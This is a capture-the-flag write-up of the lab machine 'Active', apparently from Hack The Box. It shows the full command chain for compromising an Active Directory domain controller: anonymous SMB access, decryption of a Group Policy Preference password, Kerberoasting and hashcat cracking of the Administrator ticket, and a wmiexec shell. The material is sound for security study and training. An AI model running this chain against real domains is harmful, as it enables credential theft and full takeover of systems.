

Active/Kerberoasting

The assessor began with an Nmap scan using the following commands:

```
sudo nmap -sV -p- -A 10.10.10.100 > active_scan
```

- -sV conducts a service enumeration scan
- -p- scans all 65535 ports
- -A is an aggressive scan that attempts to determine operating system information, service information, etc.

The scan reveals several ports related to a Microsoft Domain Controller:

```

(kali@kali)-[~/HTB/active]
$ cat active_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-30 06:22 EST
Nmap scan report for 10.10.10.100
Host is up (0.039s latency).
Not shown: 65512 closed tcp ports (reset)
PORT      STATE SERVICE          VERSION
53/tcp    open  domain           Microsoft DNS 6.1.7601 (1DB15D39) (Windows Ser
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  tcpwrapped
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn      Microsoft Windows netbios-ssn
389/tcp   open  ldap             Microsoft Windows Active Directory LDAP (Domai
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http       Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap             Microsoft Windows Active Directory LDAP (Domai
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc            Microsoft Windows RPC
9389/tcp  open  mc-nmf           .NET Message Framing
47001/tcp open  http             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open  msrpc            Microsoft Windows RPC
49153/tcp open  msrpc            Microsoft Windows RPC
49154/tcp open  msrpc            Microsoft Windows RPC
49155/tcp open  msrpc            Microsoft Windows RPC
49157/tcp open  ncacn_http       Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc            Microsoft Windows RPC
49175/tcp open  msrpc            Microsoft Windows RPC
49176/tcp open  msrpc            Microsoft Windows RPC
49225/tcp open  msrpc            Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see http
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=1/30%OT=53%CT=1%CU=39359%PV=Y%DS=2%DC=T%G=Y%TM=63D7A90
OS:1%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=10E%TI=I%CI=I%II=I%SS=S%TS=
OS:7)SEQ(SP=100%GCD=1%ISR=10E%TI=I%CI=I%TS=7)SEQ(SP=100%GCD=1%ISR=10E%TI=I%
OS:II=I%SS=S%TS=7)OPS(O1=M539NW8ST11%O2=M539NW8ST11%O3=M539NW8NNT11%O4=M539
OS:NW8ST11%O5=M539NW8ST11%O6=M539ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W
OS:5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M539NW8NNS%CC=N%Q=)T1(R=Y%DF=Y
OS:%T=80%S=0%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=
OS:)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=0%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A
OS:=0%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%D
OS:F=Y%T=80%W=0%S=A%A=0%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=
OS:G)IE(R=Y%DFI=N%T=80%CD=Z)
Network Distance: 2 hops

```

I will begin by trying to access the SMB share:

```
(kali㉿kali)-[~/HTB/active]
$ smbclient -L \\\10.10.10.100\
Password for [WORKGROUP\kali]:
Anonymous login successful
```

Sharename	Type	Comment
ADMIN\$	Disk	Remote Admin
C\$	Disk	Default share
IPC\$	IPC	Remote IPC
NETLOGON	Disk	Logon server share
Replication	Disk	
SYSVOL	Disk	Logon server share
Users	Disk	

```
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Next I will try to access each share. I am denied access to all shares except the IPC\$ and Replication share:

```
(kali㉿kali)-[~/HTB/active]
$ smbclient \\\10.10.10.100\IPC$
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ^C
```

```
(kali㉿kali)-[~/HTB/active]
$ smbclient \\\10.10.10.100\Replication
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
```

.	D	0	Sat Jul 21 06:37:44 2018
..	D	0	Sat Jul 21 06:37:44 2018
active.htb	D	0	Sat Jul 21 06:37:44 2018

```
5217023 blocks of size 4096. 284554 blocks available
smb: \> █
```

Looking around I was able to find a Group.xml file:

```
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups> ls
```

.	D	0	Sat Jul 21 06:37:44 2018
..	D	0	Sat Jul 21 06:37:44 2018
Groups.xml	A	533	Wed Jul 18 16:46:06 2018

```
5217023 blocks of size 4096. 279567 blocks available
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups> get Groups.xml
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (5.5 KiloBytes/sec) (average 5.5 KiloBytes/sec)
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups> █
```

Using the *cat* command reveals that the file contains a username and encrypted password:

```
(kali㉿kali)-[~/HTB/active]
$ cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D98DE98BA1D1}" name="active.htb\SVC_TGS"
" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName=""
description="" cpassword="edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" n
oChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS" /></User>
</Groups>
```

Windows Server 2008 Introduced Group Policy Preference (GPP). With this information we can use a tool known as *gpp-decrypt* to try and decrypt the password:

```
(kali㉿kali)-[~/HTB/active]
$ gpp-decrypt edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
```

Next we will see what permissions we have as this user:

```
(kali㉿kali)-[~/HTB/active]
$ smbmap -H 10.10.10.100 -u SVC_TGS -p 'GPPstillStandingStrong2k18'
[+] IP: 10.10.10.100:445 Name: 10.10.10.100
```

	Permissions	Comment
Disk		
ADMIN\$	NO ACCESS	Remote Admin
C\$	NO ACCESS	Default share
IPC\$	NO ACCESS	Remote IPC
NETLOGON	READ ONLY	Logon server share
Replication	READ ONLY	
SYSVOL	READ ONLY	Logon server share
Users	READ ONLY	

Now we can access more shares with our user privilege:

```
5217023 blocks of size 4096. 279567 blocks available
smb: \SVC_TGS\Desktop\> get user.txt
getting file \SVC_TGS\Desktop\user.txt of size 34 as user.txt (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)
smb: \SVC_TGS\Desktop\>
```

Since we know LDAP is open we can use a tool known as *ldapsearch* with the credentials we now have to query LDAP on the target machine:

- -x specifies simple authentication (Username and Password)
- -H specifies the target host
- -D specifies the username
- -w specifies the password
- -b specifies the search parameters
- -s specifies the filter parameters:

```
ldapsearch -x -H ldap://10.10.10.100:389 -D 'SVC_TGS' -w 'GPPstillStandingStron2k18' -b "dc=active.htb,dc=htb" -s sub "(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2)))"
samaccountname | grep sAMAccountName
```

```
(kali㉿kali)-[~/HTB/active]
$ ldapsearch -x -H ldap://10.10.10.100:389 -D 'SVC_TGS' -w 'GPPstillStandingStrong2k18' -b "dc=active,dc=htb" -s sub "(6(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2)))" samaccountname | grep sAMAccountName
sAMAccountName: Administrator
sAMAccountName: SVC_TGS
```

Or you can use the GetADUsers.py script:

```
(kali@kali)-[~]
$ GetADUsers.py -all active.htb/svc_tgs -dc-ip 10.10.10.100
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Password:
[*] Querying 10.10.10.100 for information about domain.
```

Name	Email	PasswordLastSet	LastLogon
Administrator		2018-07-18 15:06:40.351723	2023-01-30 06:09:41.244143
Guest		<never>	<never>
krbtgt		2018-07-18 14:50:36.972031	<never>
SVC_TGS		2018-07-18 16:14:38.402764	2018-07-21 10:01:30.320277

Privilege Escalation/Exploitation:

NOTE: Requires credentials for the scripts.

Kerberoasting is the method used to gain elevated privileges and access to the target. Kerberoasting involves extracting the hash of the encrypted material from a Kerberos TGT Reply which can be cracked and provide a plaintext password.

First assessors need to identify which accounts are configured with SPNs. Kerberos authentication uses Service Principal Names to identify accounts associated with a particular service instance. This can be done with *ldapsearch* or the *GetUserSPNs.py*.

```
ldapsearch -x -H ldap://10.10.10.100:389 -D 'SVC_TGS' -w 'GPPstillStandingStrong2k18' -b "dc=active,dc=htb" -s sub "(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2))(serviceprincipalname=/*/*)" serviceprincipalname | grep -B 1 servicePrincipalName
```

```
(kali@kali)-[~/HTB/active]
$ ldapsearch -x -H ldap://10.10.10.100:389 -D 'SVC_TGS' -w 'GPPstillStandingStrong2k18' -b "dc=active,dc=htb" -s sub "(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2))(serviceprincipalname=/*/*)" serviceprincipalname | grep -B 1 servicePrincipalName
dn: CN=Administrator,CN=Users,DC=active,DC=htb
servicePrincipalName: active/CIFS:445
```

GetUserSPNs.py active.htb/svc_tgs -dc-ip 10.10.10.100

```
(kali@kali)-[~/HTB/active]
$ GetUserSPNs.py active.htb/svc_tgs -dc-ip 10.10.10.100
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Password:
```

ServicePrincipalName	Name	MemberOf	PasswordLastSet	LastLogon
	Delegation			
active/CIFS:445	Administrator	CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb	2018-07-18 15:06:40.351723	2023-01-30 06:09:41.244143

Now that we've found an account configured with a SPN we can send a request to receive a reply with the encrypted credentials. Using *GetUserSPNs.py* you can send a request:

GetUserSPNs.py active.htb/svc_tgs -dc-ip 10.10.10.100 -request


```
(kali@kali)-[~/HTB/active]
$ GetUserSPNs.py active.htb/svc_tgs -dc-ip 10.10.10.100 -request
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```

ServicePrincipalName	Name Delegation	MemberOf	PasswordLastSet	LastLogon
active/CIFS:445 0 06:09:41.244143	Administrator	CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb	2018-07-18 15:06:40.351723	2023-01-3

```
[-] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$4d9e42ba17790d2b96bdfa1d517d3237$5c0b5fd7d1915065d6e681bf6fe82dee9d4
8972dda193bb9d338a0585ee3fcbfe48322c3bc28639a676d54bc4fda1b8990c7e26e379ea7ed028669cfc5fb18096afb76f291eb4c4c13cd704a02ea6381de77e58
dffc0d8cb503edee496c1597d06a71c9e5e5022aaf4c32ef82f5093225eda3824b92f8deba5851916c2a9485025d7d0f0ccfdb9b61a3522e0fafbaa6f5b586425f0
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37b3e027a8c5d485c33db582100ee937b6e9d9a3dd29c443c71958da287f578a8c983643234914a01501d9f9f42ef7240cf7b82395279074a72619120c17037b2a3d
5525d3ddf72f61aec84d2f462ee2869a7e945f8b7666d5623e884f07766c8f61b6ba14ac2b8ca679640bd0c08e39c4e2aca028e2b1fc482815ebd851726df1ac44e2
0cd755dcf5d2ac2be5d4ee9600be158a29041dc117526acfa8d3112f192378e4b97d7c8ceaafe8a0d4af0726a701f1004b1fa1093ee5356ab63af8592d3b8489fff8
81fb567cb83c1503d426e0a75e856
```

Now we can use Hashcat to crack the password:

```
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
```

```
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$4d9e42ba17790d2b96bdfa1d517d3237$5c0b5fd7d1915065d6e681bf6fe82dee9d4
8972dda193bb9d338a0585ee3fcbfe48322c3bc28639a676d54bc4fda1b8990c7e26e379ea7ed028669cfc5fb18096afb76f291eb4c4c13cd704a02ea6381de77e58
dffc0d8cb503edee496c1597d06a71c9e5e5022aaf4c32ef82f5093225eda3824b92f8deba5851916c2a9485025d7d0f0ccfdb9b61a3522e0fafbaa6f5b586425f0
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37b3e027a8c5d485c33db582100ee937b6e9d9a3dd29c443c71958da287f578a8c983643234914a01501d9f9f42ef7240cf7b82395279074a72619120c17037b2a3d
5525d3ddf72f61aec84d2f462ee2869a7e945f8b7666d5623e884f07766c8f61b6ba14ac2b8ca679640bd0c08e39c4e2aca028e2b1fc482815ebd851726df1ac44e2
0cd755dcf5d2ac2be5d4ee9600be158a29041dc117526acfa8d3112f192378e4b97d7c8ceaafe8a0d4af0726a701f1004b1fa1093ee5356ab63af8592d3b8489fff8
81fb567cb83c1503d426e0a75e856:Ticketmaster1968
```

Now we have the Administrator password. With this password we can use wmiexec.py to gain a shell onto the system:

```
wmiexec.py active.htb/administrator:Ticketmaster1968@10.10.10.100
```

```
(kali@kali)-[~/HTB/active]
$ wmiexec.py active.htb/administrator:Ticketmaster1968@10.10.10.100
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```

```
[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
active\administrator

C:\>
```